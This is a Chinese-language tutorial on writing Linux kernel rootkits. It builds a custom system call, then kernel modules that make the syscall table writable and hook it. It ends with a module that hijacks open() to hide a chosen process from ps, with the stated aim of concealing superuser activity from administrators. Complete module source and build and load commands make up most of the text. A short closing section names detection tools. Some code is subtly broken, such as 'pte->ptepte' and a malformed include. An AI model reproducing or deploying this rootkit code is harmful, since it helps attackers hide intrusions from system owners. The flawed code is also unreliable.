Rootkit技術入門:從syscall到hook!
一、什么是rootkit
簡單地說,rootkit是一種能夠隱身的惡意程序,也就是說,當它進行惡意活動的時候,操作系統根本感覺不到它的存在。想象一下,一個程序能夠潛入到當前操作系統中,并且能夠主動在進程列表中隱藏病毒,或者替換日志文件輸出,或者兩者兼而有之——那它就能有效地清除自身存在的證據了。此外,它還可以從受保護的內存區域中操縱系統調用,或將接口上的數據包導出到另一個接口。本教程將重點介紹如何通過hooking系統調用來進行這些活動。在本教程的第一部分,我們將打造自己的系統調用,然后打造一個hook到我們創建的系統調用上面的rootkit。在最后一部分,我們將創建一個rootkit來隱藏我們選擇的進程。
二、用戶空間與內核空間
我們之所以上來就打造一個系統調用,其目的就是為了更好地理解在內核空間與用戶空間中到底發生了些什么。在用戶空間中運行的進程,對內存的訪問將受到一定限制,而在內核空間運行的進程則可以訪問所有內存空間。但是,用戶空間的代碼可以通過內核暴露的接口來訪問內核空間,這里的所說的接口就是系統調用。如果你曾經用C語言編程,并且擺弄過Linux的話(是的,我們將用C編程,但不用擔心,因為這里介紹的例子會非常簡單),那么你很可能已經用過系統調用了,只不過你沒有意識到罷了。read()、write()、open()就是幾個比較常見的系統調用,只不過我們通常都是通過諸如fopen()或fprintf()之類的庫函數來調用它們而已。
當你以root身份運行進程的時候,不見得它們就會運行在內核空間。因為root用戶進程仍然是一個用戶空間的進程,只不過root用戶的進程的UID = 0,內核驗證過其身份后會賦予其超級用戶權限罷了。但是,即使擁有超級用戶權限,仍然需要通過系統調用接口才能請求內核的各種資源。我希望大家能夠明確這一點,這對進一步閱讀下面的內容非常重要。
好了,閑話少說,下面切入正題。
三、所需軟硬件
linux內核(我使用debian的最小化安裝,內核版本為3.16.36)
虛擬機軟件(VMware、Virtualbox、ESXi等)
我建議給VM配置2個CPU內核,至少4GB內存,但1核和2GB也能對付。
需要強調的是︰
1. 我不會對示例代碼進行詳盡的介紹,因為代碼都自帶了注釋。這樣做好處是,可以督促讀者自行深入學習。
2. 我的VM使用的是Debian最小化安裝,因為我發現內核的版本越舊,打造自己的系統調用時就越容易,這就是選擇3.16.36的原因。
3. 文中的所有命令都是以root帳戶在VM中運行的。
四、系統調用:pname
啟動VM,讓我們先從一個內核源碼開始玩起。實際上,介紹如何打造自己的系統調用的教程已經有許多了。如果你想打造一個簡單的“hello world”系統調用的話,請參考這篇文章:https://chirath02.wordpress.com/2016/08/24/hello-world-system-call/。
通過下面的命令,獲取內核源碼的副本,并將其解壓縮到/usr/src目錄下面:
- wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.16.36.tar.xz
- tar -xvf linux-3.16.36.tar.xz -C /usr/src/
- cd /usr/src/linux-3.16.36
pname (進程名稱):
現在,讓我們從一個簡單的系統調用開始入手:當向它傳遞一個進程名稱時,它會將該進程對應的PID返回到啟動該系統調用的終端上面。首先,創建目錄pname,然后通過cd命令切換到該目錄下面:
- mkdir pname
- cd pname
- nano pname.c
- #include <linux/syscalls.h>
- #include <linux/kernel.h>
- #include <linux/sched.>
- #include <linux/init.h>
- #include <linux/tty.h>
- #include <linux/string.h>
- #include "pname.h"
- asmlinkage long sys_process_name(char* process_name){
- /*tasklist struct to use*/
- struct task_struct *task;
- /*tty struct*/
- struct tty_struct *my_tty;
- /*get current tty*/
- my_tty = get_current_tty();
- /*placeholder to print full string to tty*/
- char name[32];
- /*<sched.h> library method that iterates through list of processes from task_struct defined above*/
- for_each_process(task){
- /*compares the current process name (defined in task->comm) to the passed in name*/
- if(strcmp(task->comm,process_name) == 0){
- /*convert to string and put into name[]*/
- sprintf(name, "PID = %ld\n", (long)task_pid_nr(task));
- /*show result to user that called the syscall*/
- (my_tty->driver->ops->write) (my_tty, name, strlen(name)+1);
- }
- }
- return 0;
- }
然后,創建頭文件:
- nano pname.h
- asmlinkage long sys_process_name(char* process_name);
接下來,創建一個Makefile:
- nano Makefile
在里面,添加如下內容:
- obj-y := pname.o
保存并退出。
將pname目錄添加到內核的Makefile中:
回到/usr/src/linux-3.16.36目錄,并編輯Makefile
- cd ..
- nano Makefile
您要查找core-y += kernel/mm/fs/ipc/security/crypto/block/所在的行。
- cat -n Makefile | grep -i core-y
然后
- nano +(line number from the cat command here) Makefile
將pname目錄添加到此行的末尾(不要忘記“/”):
- core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ pname/
當我們編譯這個文件的時候,編譯器就會知道從哪里尋找創建新的系統調用所需的源文件了。
將pname和sys_process_name添加到系統調用表中:
請確保仍然位于/usr/src/linux-3.16.36目錄中。接下來,我們需要將新建的系統調用添加到系統調用表中。如果您使用的是64位系統,那么它將會添加到syscall_64.tbl文件的前#300之后(將64位和32位系統調用隔離開來)。此前,我的64位系統調用最后一個是#319,所以我的新系統調用將是#320。如果它是一個32位系統,那么你可以在syscall_32.tbl文件結尾處進行相應的編輯。
- nano arch/x86/syscalls/syscall_64.tbl
添加新的系統調用:
- 320 common pname sys_process_name
將sys_process_name(char * process_name)添加到syscall頭文件中:
最后,頭文件必須提供我們函數的原型,因為asmlinkage用于定義函數的哪些參數可以放在堆棧上。它必須添加到include / linux / syscalls.h文件的最底部:
- asmlinkage long sys_process_name(char* process_name);
編譯新內核(這個過程需要一段時間,請稍安勿躁):
這將需要很長時間,大概需要1-2小時或更多,具體取決于這個VM所擁有的資源的多寡。然后,從源代碼文件夾/usr/src/linux-3.16.36中輸入下列命令:
- make menuconfig
通過方向鍵選中保存選項,按回車鍵,然后退出。
如果您正在運行的虛擬機具有2個內核,則可以使用下列命令:
- make -j 2
否則的話,只需輸入下列命令即可:
- make
現在,耐心等待它運行結束。
安裝新編譯的內核:
完成上述操作后(希望沒有任何錯誤),還必須進行安裝操作,然后重新啟動。
- make install -j 2 # or without -j option if not enough cores
- make modules_install install
- reboot
測試新的pname系統調用:
還記得使用哪個數字把我們的系統調用中添加到系統調用表中的嗎?我使用的數字為320,這意味著系統調用號為320,同時,我們必須以字符串的形式來傳遞進程名稱。下面,讓我們測試一下這個新的系統調用。
- nano testPname.c
- #include <stdio.h>
- #include <linux/kernel.h>
- #include <sys/syscall.h>
- #include <unistd.h>
- #include <string.h>
- int main(){
- char name[32];
- puts("Enter process to find");
- scanf("%s",name);
- strtok(name, "\n");
- long int status = syscall(320, name); //syscall number 320 and passing in the string.
- printf("System call returned %ld\n", status);
- return 0;
- }
- gcc testPname.c -o testPname
- ./testPname
由于我使用ssh配置我的VM,我將進入進程sshd。我打開了另一個終端來查看所有通過sshd運行的進程,然后運行該可執行文件:
該系統調用通過遍歷進程列表發現了3個sshd進程(grep sshd不是正在運行的sshd進程),并通過TTY將其輸出到調用它的終端上,最后成功退出(狀態值為0)。
現在,您已經有權在內核(受保護的內存區)空間中查找進程了。這個進程列表中,你不會發現這個系統調用——盡管它正在運行,但你會發現testPname可執行文件正在運行:
如何才能找到我們的新系統調用呢? 很簡單:使用strace工具。
- sudo apt-get install strace
針對可執行文件運行strace時,它將暫停以讀取用戶輸入(可以通過系統調用read()來讀入,但是需要注意的是,在我們的測試程序中使用的是來自stdio.h庫的scanf()函數)。這時,輸入你喜歡的任何進程即可。
在下面,從read()系統調用到程序退出的代碼都進行了突出顯示:
- strace ./testPname
只要把bash的進程名稱傳遞給strace,它就會立刻找出該進程所使用的系統調用——我們的syscall_320。你也可以使用該工具來檢查我們運行的程序用到的所有其他系統調用,例如mmap(內存映射)和mprotect(內存保護)等。我建議大家逐一研究這些系統調用,以充分了解它們都可以做哪些事情,并仔細考慮攻擊者能夠用它們來干什么。
此后,我們將hooking系統調用open(),但是就目前來說,不妨先用我們的第一個rootkit來“鉤取”系統調用syscall_320
五、利用Rootkit“鉤取”Pname
首先要弄清楚的一件事情是,現在我們要以hook的形式來打造一個內核模塊,而不是借助系統調用。這些模塊可以隨時通過insmod和rmmod命令(前提是您已經獲得了相應的權限)加載到內存和從內核中刪除。為了查看當前正在運行的所有模塊,您可以使用lsmod命令。就像我們的新程序將成為一個模塊一樣,從技術上講,它可以被定義為一個hook,因為我們將“hooking”到之前創建的pname系統調用上。
在研究過程中,我在https://www.quora.com/How-can-I-hook-system-calls-in-Linux發現了一篇非常棒的文章,它深入淺出地介紹了打造hook的方法。請選擇一個存儲hook的目錄并利用cd命令切換到這個目錄下面,這里我選擇的是root目錄。
查找sys_call_table地址:
我們首先要做的事情就是找到系統調用表地址,因為一旦找到了這個地址,我們就能夠對其進行相應的處理,進而hook系統調用了。為了找到這個地址,我們只需在終端中鍵入:
- cat /boot/System.map-3.16.36 | grep sys_call_table
將這個地址復制到我們的代碼中。
注意:有許多方法可以用來動態搜索sys_call_table,我強烈建議您使用這些方法而不是硬編碼。然而,為了便于學習,這里就不那么講究了。我打算將來編寫一個更高級的rootkit,讓它也支持動態搜索能力。如果你想提前了解這方面的知識并親自嘗試一下的話,我建議閱讀下面的文章: https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/
Hook! Hook! Hook!
以下是我的captainhook.c代碼:
- #include <asm/unistd.h>
- #include <asm/cacheflush.h>
- #include <linux/init.h>
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/syscalls.h>
- #include <asm/pgtable_types.h>
- #include <linux/highmem.h>
- #include <linux/fs.h>
- #include <linux/sched.h>
- #include <linux/moduleparam.h>
- #include <linux/unistd.h>
- #include <asm/cacheflush.h>
- MODULE_LICENSE("GPL");
- MODULE_AUTHOR("D0hnuts");
- /*MY sys_call_table address*/
- //ffffffff81601680
- void **system_call_table_addr;
- /*my custom syscall that takes process name*/
- asmlinkage int (*custom_syscall) (char* name);
- /*hook*/
- asmlinkage int captain_hook(char* play_here) {
- /*do whatever here (print "HAHAHA", reverse their string, etc)
- But for now we will just print to the dmesg log*/
- printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!");
- return custom_syscall(play_here);
- }
- /*Make page writeable*/
- int make_rw(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- if(pte->pte &~_PAGE_RW){
- pte->pte |=_PAGE_RW;
- }
- return 0;
- }
- /* Make the page write protected */
- int make_ro(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- pte->ptepte = pte->pte &~_PAGE_RW;
- return 0;
- }
- static int __init entry_point(void){
- printk(KERN_INFO "Captain Hook loaded successfully..\n");
- /*MY sys_call_table address*/
- system_call_table_addr = (void*)0xffffffff81601680;
- /* Replace custom syscall with the correct system call name (write,open,etc) to hook*/
- custom_syscall = system_call_table_addr[__NR_pname];
- /*Disable page protection*/
- make_rw((unsigned long)system_call_table_addr);
- /*Change syscall to our syscall function*/
- system_call_table_addr[__NR_pname] = captain_hook;
- return 0;
- }
- static int __exit exit_point(void){
- printk(KERN_INFO "Unloaded Captain Hook successfully\n");
- /*Restore original system call */
- system_call_table_addr[__NR_pname] = custom_syscall;
- /*Renable page protection*/
- make_ro((unsigned long)system_call_table_addr);
- return 0;
- }
- module_init(entry_point);
- module_exit(exit_point);
你可能已經注意到__NR_pname,它代表數字,即pname的系統調用的編碼。別忘了我們已經將該系統調用添加到syscall_64.tbl(tbl = table duhh)中。 我們賦予它一個數字、一個名稱和函數名。在這里,我們使用的是其名稱(pname)。它將攔截pname系統調用,并且每成功一次就打印一次dmesg。
創建Makefile:
我們必須創建另一個Makefile,具體方法就像我們在創建系統調用時所做的一樣,但由于這里是一個模塊,所以會有一點不同:
- nano Makefile
- obj-m += captainHook.o
- all:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
- clean:
- make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
在加載到運行中的內核后測試該hook:
現在萬事俱備,只剩下編譯了。對其進行編譯的時候,絕對不會像編譯內核那樣費時,因為它只是一個模塊而已。為此,只需鍵入下列命令:
- make
很好,你現在應該多了一些其他文件,而我們想要的是.ko文件:
現在打開另一個終端,鍵入以下命令以清除dmesg,然后插入該模塊并運行testPname,并跟蹤其輸出:
第一個終端:
- dmesg -c
- dmesg -wH
第二個終端:
- insmod captainHook.ko
- cd ..
- ./testPname
- rmmod captainHook
- captainhookworks
經過一番努力,終于成功地創建了一個可以抓取系統調用(也就是rootkit)的鉤子!想象一下,如果你的__NR_ pname是__NR_open或__NR_read會怎樣? 您可以自己嘗試一下,或繼續閱讀下一部分。不過,就這一點來說,有很多其他教程可資利用,例如:https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/
六、對系統管理命令“ps”隱身
現在,讓我們通過編程技術來實現對ps命令隱藏進程。首先,找到你想要隱藏的進程的PID,并想清楚你想讓它偽裝成哪個進程。就本例而言,我將用一個bash進程給su(sudo)進程打掩護,以便系統管理員看不到有人正在使用超級用戶權限運行。
注意:Linux中的一切皆文件。例如“/proc/cpuinfo”文件存放的是CPU信息,內核版本位于“/proc/version”文件中。而“/proc/uptime”和“/proc/stat”文件則分別用來存放系統正常運行時間和空閑時間。當運行ps命令時,它實際上是打開進程的文件,以使用open()系統調用查看相關信息。當進程首次啟動時,會使用系統調用write()將其寫入具有相應PID#的文件中。針對ps命令運行strace就能查找它們,或者查看它使用了哪些系統調用。
這里,我們將使用captainHook.c作為樣板:
- nano phide.c
- #include <asm/unistd.h>
- #include <asm/cacheflush.h>
- #include <linux/init.h>
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/syscalls.h>
- #include <asm/pgtable_types.h>
- #include <linux/highmem.h>
- #include <linux/fs.h>
- #include <linux/sched.h>
- #include <linux/moduleparam.h>
- #include <linux/unistd.h>
- #include <asm/cacheflush.h>
- MODULE_LICENSE("GPL");
- MODULE_LICENSE("D0hnuts");
- /*MY sys_call_table address*/
- //ffffffff81601680
- void **system_call_table_addr;
- asmlinkage int (*original_open)(const char *pathname, int flags);
- asmlinkage int open_hijack(const char *pathname, int flags) {
- /*This hooks all OPEN sys calls and check to see what the path of the file being opened is
- currently, the paths must be hard coded for the process you wish to hide, and the process you would like it to impersonate*/
- if(strstr(pathname, "/proc/2793/status") != NULL) {
- printk(KERN_ALERT "PS PROCESS HIJACKED %s\n", pathname);
- //The new process location will be written into the syscall table for the open command, causing it to open a different file than the one originaly requested
- memcpy(pathname, "/proc/2794/status", strlen(pathname)+1);
- }
- return (*original_open)(pathname, flags);
- }
- //Make syscall table writeable
- int make_rw(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- if(pte->pte &~_PAGE_RW){
- pte->pte |=_PAGE_RW;
- }
- return 0;
- }
- // Make the syscall table write protected
- int make_ro(unsigned long address){
- unsigned int level;
- pte_t *pte = lookup_address(address, &level);
- pte->ptepte = pte->pte &~_PAGE_RW;
- return 0;
- }
- static int __init start(void){
- system_call_table_addr = (void*)0xffffffff81601680;
- //return the system call to its original state
- original_open = system_call_table_addr[__NR_open];
- //Disable page protection
- make_rw((unsigned long)system_call_table_addr);
- system_call_table_addr[__NR_open] = open_hijack;
- printk(KERN_INFO "Open psHook loaded successfully..\n");
- return 0;
- }
- static int __exit end(void){
- //restore original system call
- system_call_table_addr[__NR_open] = original_open;
- //Enable syscall table protection
- make_ro((unsigned long)system_call_table_addr);
- printk(KERN_INFO "Unloaded Open psHook successfully\n");
- return 0;
- }
- module_init(start);
- module_exit(end);
復制前面使用的Makefile,同時將頂部的"captainHook.o"替換為“phide.o”。
然后,輸入下列命令
- make
以及
- insmod phide.ko (一定別忘了使用dmesg命令) :
如您所見,這里成功實現了隱身!除此之外,還可以使用這里介紹的方法來隱藏多個進程。
七、如何防御?
你可能注意到了,我這里只是使用另一個正在運行的進程來隱藏我們的進程。所以在PS表中會有重復的PID。這很容易被發現,但有一些方法可以完全隱藏它,我計劃在未來的rootkit文章中加以介紹。
記得早些時候我提到的lsmod命令嗎? 它就可以列出在內核上運行的模塊,效果具體如下圖所示。
要想查看所有模塊,可以使用:
- cat/proc/modules
因為rootkits通常在內存中待命,所以最好使用一個可以主動尋找rootkit的程序,例如:
- kbeast – https://volatility-labs.blogspot.ca/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html
- chkroot – http://www.chkrootkit.org/
- kernel check – http://la-samhna.de/library/kern_check.c
八、結束語
我們希望本文能夠幫您了解系統調用、內核空間和用戶空間方面的相關知識。最重要的是,通過閱讀本文,可以讓您意識到鉤住系統調用其實非常簡單的事情,同時,也讓您意識到只需少的可憐的編程技巧就足以讓你為所欲為。當然,還有一些非常先進的rootkits類型,我們將后續的文章中陸續加以介紹。在下一篇文章中,我們介紹如何在無需查找PID的情況下隱藏進程。